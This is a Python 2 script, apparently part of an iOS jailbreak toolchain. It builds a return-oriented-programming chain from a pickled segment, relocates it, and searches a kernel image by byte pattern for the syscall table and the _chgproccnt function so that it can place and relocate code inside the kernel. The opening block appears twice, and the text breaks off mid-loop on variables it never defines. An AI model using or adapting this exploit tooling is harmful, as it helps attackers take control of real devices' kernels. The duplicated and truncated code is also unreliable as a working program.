import operator, sys
import cPickle as pickle
from goo import *
import dmini
dmini.init(sys.argv[1], True)
data = pickle.load(open(sys.argv[2], 'rb'))
rop = data['segment']
rop_address = data['rop_address']
stack_size = rop_address - 0x1000
linkedit_size = 0x10000
linkedit_address = data['init_sp'] - linkedit_size
rop_relocs = []
if isinstance(data['initializer'], reloc):
initializer = pointed(I(data['initializer'].value))
rop_relocs.append(linkedit_address + pointer(initializer))
else:
initializer = pointed(I(data['initializer']))
def func(value, addr):
rop_relocs.append(addr)
return value
reloc_handlers[3] = func
rop = simplify(rop, rop_address)
import operator, sys
import cPickle as pickle
from goo import *
import dmini
dmini.init(sys.argv[1], True)
data = pickle.load(open(sys.argv[2], 'rb'))
rop = data['segment']
rop_address = data['rop_address']
stack_size = rop_address - 0x1000
linkedit_size = 0x10000
linkedit_address = data['init_sp'] - linkedit_size
rop_relocs = []
if isinstance(data['initializer'], reloc):
initializer = pointed(I(data['initializer'].value))
rop_relocs.append(linkedit_address + pointer(initializer))
else:
initializer = pointed(I(data['initializer']))
def func(value, addr):
rop_relocs.append(addr)
return value
reloc_handlers[3] = func
rop = simplify(rop, rop_address)
PROT_READ, PROT_WRITE, PROT_EXECUTE = 1, 2, 4
debugging = True
result_for = None
def dbg_result():
global result_for
if debugging:
if result_for is None:
result_for = ptr('Result for %s was %08x\n', True)
result, resultp = stackunkpair()
store_r0_to(resultp)
back = sys._getframe().f_back
funcall('_fprintf', dmini.cur.sym('___stderrp'), result_for, ptr('%s:%d' % (back.f_code.co_filename, back.f_lineno), True), result, load_r0=True)
dmini.init(kernfile, False)
sysent = dmini.cur.find('- 00 10 86 00') + 4
code_addr = 0x80000400
def my_ls(binary, sym):
if sym == '_chgproccnt':
# I'm lazy, make this strref later
result = dmini.cur.find('+ f0 b5 03 af 2d e9 00 0d .. .. .. .. 05 46 8a 46 4f f0 00 08')
print hex(result)
return result
weirdfile = dmini.Connection(kcode, rw=True).relocate(dmini.cur, code_addr, my_ls).nth_segment(0).data()[:-8]
count = 0
stuff = ''
while True:
namelen = patchfp.read(4)